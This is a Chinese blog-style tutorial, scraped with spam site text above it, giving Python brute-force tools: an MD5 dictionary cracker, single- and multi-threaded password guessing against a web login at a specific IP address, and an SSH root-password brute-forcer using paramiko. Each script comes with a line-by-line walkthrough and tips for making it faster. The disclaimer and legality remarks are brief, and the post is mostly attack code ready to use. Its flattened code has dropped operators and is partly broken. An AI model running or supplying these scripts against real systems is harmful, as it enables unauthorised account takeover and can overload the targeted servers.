成立网站要多少钱傻瓜式在线做网站

当前位置: 首页 > news >正文

成立网站要多少钱,傻瓜式在线做网站,wordpress防f12,常用网站推广方法电商声明#xff1a;笔记的只是方便各位师傅学习知识#xff0c;以下代码、网站只涉及学习内容#xff0c;其他的都与本人无关#xff0c;切莫逾越法律红线#xff0c;否则后果自负。 爆破Sales系统 一、爆破MD5 场景#xff1a;已知MD5的加密字符串#xff0c;如何得知明…声明笔记的只是方便各位师傅学习知识以下代码、网站只涉及学习内容其他的都与本人无关切莫逾越法律红线否则后果自负。 爆破Sales系统 一、爆破MD5 场景已知MD5的加密字符串如何得知明文 解决方案 算法碰撞一串128位的MD532位16进制其组合数量2^128 字典碰撞给定一个字典文件读取里面的密钥明文对其进行MD5加密再和目标字符串进行对比如果相同则明文找到。 二、爆破后台 验证登录请求 已知用户名爆破密码 未知用户名未知密码爆破
三、爆破条件与防范 登录成功或失败的条件可验证 服务器端允许多次失败登录而不会禁止
基于md5爆破-源码 import hashlib import threading import time import requests# 爆破md5 def md5(source):with open(字典/常见字典1000.txt) as file:pw_list  file.readlines()with open(字典/数字字母符号型1000.txt) as file:pw_list2  file.readlines()# 追加字典pw_list.extend(pw_list2)# 遍历列表逐个对比for password in pw_list:if hashlib.md5(password.strip().encode()).hexdigest()  source:print(f成功破解密码是{password.strip()})# 爆破某后台——仅爆破密码 # 单线程爆破 def ws_single():with open(字典/常见字典1000.txt) as file:pw_list  file.readlines()url  http://111.21.xxx.xxx:9090/logincount  0for password in pw_list:data  {username: admin, password: password.strip(), rememberMe: false}  # 有时有验证码需要另外操作resp  requests.post(urlurl, datadata)if {msg:用户不存在/密码错误,code:500} not in resp.text:print(f可能成功,密码为{password.strip()})count  1print(f共计尝试{count}次)exit()# 同时由于多线程并发登录导致服务器压力剧增DOS,进而服务器的响应时间会显著变慢 # 爆破某后台——不知账号不知密码 # 多线程爆破 count  0def ws_thread(username):with open(字典/常见弱口令字典1000.txt) as file:pw_list  file.readlines()url  http://111.21.xxx.xxx:9090/loginglobal countfor password in pw_list:data  {username: username, password: password.strip(), rememberMe: false}  # 有时有验证码需要另外操作resp  requests.post(urlurl, datadata)if {msg:用户不存在/密码错误,code:500} not in resp.text:print(f可能成功,账号为{username.strip()}密码为{password.strip()})exit()count  1print(f共计尝试{count}次)# 如果用户字典有5000条怎么处理if __name__  __main__:# md5(cbb11ed87dc8a95d81400c7f33c7c171)with open(字典/2017_top100.txt) as file:user_list  file.readlines()for username in user_list:threading.Thread(targetws_thread, args(username.strip(),)).start()基于md5爆破-源码 这段代码的主要目的是通过暴力破解的方式来尝试恢复MD5哈希值对应的明文密码以及尝试登录到一个后台系统。以下是对代码的详细分析

  1. 导入必要的库 import hashlib import threading import time import requestshashlib用于计算MD5哈希值。 threading用于实现多线程提高爆破效率。 time用于时间相关的操作虽然在这个代码中没有使用。 requests用于发送HTTP请求。
  2. 爆破MD5 def md5(source):with open(字典/常见弱口令字典1000.txt) as file:pw_list  file.readlines()with open(字典/数字字母符号型1000.txt) as file:pw_list2  file.readlines()pw_list.extend(pw_list2)for password in pw_list:if hashlib.md5(password.strip().encode()).hexdigest()  source:print(f成功破解密码是{password.strip()})读取两个字典文件中的密码列表。 将两个列表合并。 遍历每个密码计算其MD5哈希值并与目标哈希值进行比较。 如果匹配成功打印出密码。
  3. 单线程爆破后台密码 def ws_single():with open(字典/常见弱口令字典1000.txt) as file:pw_list  file.readlines()url  http://111.21.250.30:9090/logincount  0for password in pw_list:data  {username: admin, password: password.strip(), rememberMe: false}resp  requests.post(urlurl, datadata)if {msg:用户不存在/密码错误,code:500} not in resp.text:print(f可能成功,密码为{password.strip()})count  1print(f共计尝试{count}次)exit()读取密码字典。 对指定的URL发送POST请求尝试登录。 如果响应中不包含错误信息认为登录可能成功。 统计尝试次数并退出。
  4. 多线程爆破后台账号密码 count  0def ws_thread(username):global countwith open(字典/常见弱口令字典1000.txt) as file:pw_list  file.readlines()url  http://111.21.250.30:9090/loginfor password in pw_list:data  {username: username, password: password.strip(), rememberMe: false}resp  requests.post(urlurl, datadata)if {msg:用户不存在/密码错误,code:500} not in resp.text:print(f可能成功,账号为{username.strip()}密码为{password.strip()})exit()count  1print(f共计尝试{count}次)if __name__  __main__:with open(字典/2017_top100.txt) as file:user_list  file.readlines()for username in user_list:threading.Thread(targetws_thread, args(username.strip(),)).start()读取用户名字典。 对每个用户名启动一个线程尝试使用密码字典中的密码进行登录。 如果登录成功打印出用户名和密码并退出。 使用全局变量count统计尝试次数。
    注意事项和潜在问题 法律和道德问题未经授权的暴力破解行为是违法的可能会导致严重的法律后果。 性能问题多线程爆破会显著增加服务器的压力可能导致服务器响应变慢甚至崩溃。 安全性问题代码中没有处理验证码等安全措施实际应用中可能需要额外的处理。 错误处理代码中没有对网络请求的异常进行处理可能会导致程序崩溃。
    改进建议 增加异常处理对网络请求和其他可能出现的异常进行处理提高程序的健壮性。 优化多线程可以考虑使用线程池来管理线程避免创建过多线程导致系统资源耗尽。 增加延迟在每次请求之间增加适当的延迟减少对服务器的压力。 处理验证码如果目标系统有验证码需要实现验证码的处理逻辑。
    这段代码展示了暴力破解的基本思路但在实际应用中需要非常谨慎确保有合法的授权和充分的准备。 ssh多线程爆破—源码 import time import requests import threading import hashlib# 每个任务分10条 count  0def threads(sublist):with open(字典/常见弱口令字典1000.txt) as file:pw_list  file.readlines()url  http://111.21.xxx.xxx:9090/loginglobal countfor username in sublist:for password in pw_list:data  {username: username.strip(), password: password.strip(), rememberMe: false}  # 有时有验证码需要另外操作resp  requests.post(urlurl, datadata)if {msg:用户不存在/密码错误,code:500} not in resp.text:print(f可能成功,账号为{username.strip()}密码为{password.strip()})count  1print(f共计尝试{count}次)exit()# 爆破ssh import paramikodef ssh_creak():with open(字典/2017_top100.txt) as file:pw_list  file.readlines()for password in pw_list:try:transport  paramiko.Transport((192.168.xxx.xxx, 22))transport.connect(usernameroot, passwordpassword.strip())print(f请求登录密码为{password.strip()})except:passtime.sleep(2)# ssh  paramiko.SSHException()# ssh._transport  transportif name  main:# 每个线程负责10个用户# with open(字典/常见字典1000.txt) as file:#     user_list  file.readlines()# for i in range(0, len(user_list), 10):#     sublist  user_list[i:i  10]#     threading.Thread(targetthreads, args(sublist,)).start()ssh_creak()ssh多线程爆破—源码解析 这段代码主要实现了两个功能一是对指定URL的登录接口进行暴力破解尝试二是尝试使用密码字典对SSH服务进行暴力破解。 一、登录接口暴力破解部分 全局变量与函数定义 定义了全局变量count用于计数尝试次数。 threads函数接受一个用户名子列表作为参数。 函数内部首先打开包含密码的字典文件常见字典1000.txt读取其中的密码列表pw_list。 设定目标登录接口的url为http://111.21.xxx.xxx:9090/login。 对于子列表中的每个用户名遍历密码列表。 构造包含用户名、密码和rememberMe字段值为false的data字典。 使用requests.post方法向目标url发送登录请求。 如果响应文本中不包含表示用户不存在或密码错误的特定字符串{msg:用户不存在/密码错误,code:500}则认为可能是正确的账号密码组合并打印出来。 每次尝试后count加1并在处理完一个用户名的所有密码尝试后打印出总的尝试次数然后退出程序。 多线程相关被注释部分 原本计划是读取用户名字典文件如常见字典1000.txt将用户名列表按每10个一组划分成子列表。 针对每个子列表启动一个线程线程的目标函数为threads并传入相应的子列表作为参数。
    二、SSH暴力破解部分 ssh_creak函数 打开名为2017_top100.txt的密码字典文件读取其中的密码列表pw_list。 对于密码列表中的每个密码 尝试使用paramiko.Transport建立到192.168.xxx.xxx地址的SSH连接端口为22用户名固定为root密码为当前尝试的密码。 如果连接成功即没有抛出异常则打印出正在尝试的密码。 无论连接是否成功都会暂停2秒time.sleep(2)这可能是为了避免过于频繁的连接尝试导致被目标主机封禁。
    三、整体代码的问题与风险 效率问题 在登录接口暴力破解部分每次处理完一个用户名就退出程序这可能不是预期的行为如果是多线程执行这样会导致只有一个线程执行完就结束整个程序。 对于SSH暴力破解部分没有使用多线程或多进程来加速尝试过程在密码字典较大时效率会很低。 安全性与合规性问题 这种暴力破解行为如果没有得到目标系统的授权是不道德且可能违反法律法规的行为。 在实际应用中目标系统可能会有各种防护措施如验证码、登录失败次数限制等这段代码没有考虑这些情况。
    四、改进建议 修复多线程逻辑 如果要使用多线程进行登录接口的暴力破解应该修正线程启动部分的代码确保所有线程都能正常执行而不是只执行一个就退出。 优化SSH暴力破解效率 可以考虑使用多线程或多进程来提高SSH密码尝试的速度但要注意遵守法律法规和目标系统的使用规则。 增加防护措施应对机制 如果是在合法的安全测试场景下应该增加代码来处理目标系统可能存在的验证码、登录失败次数限制等情况。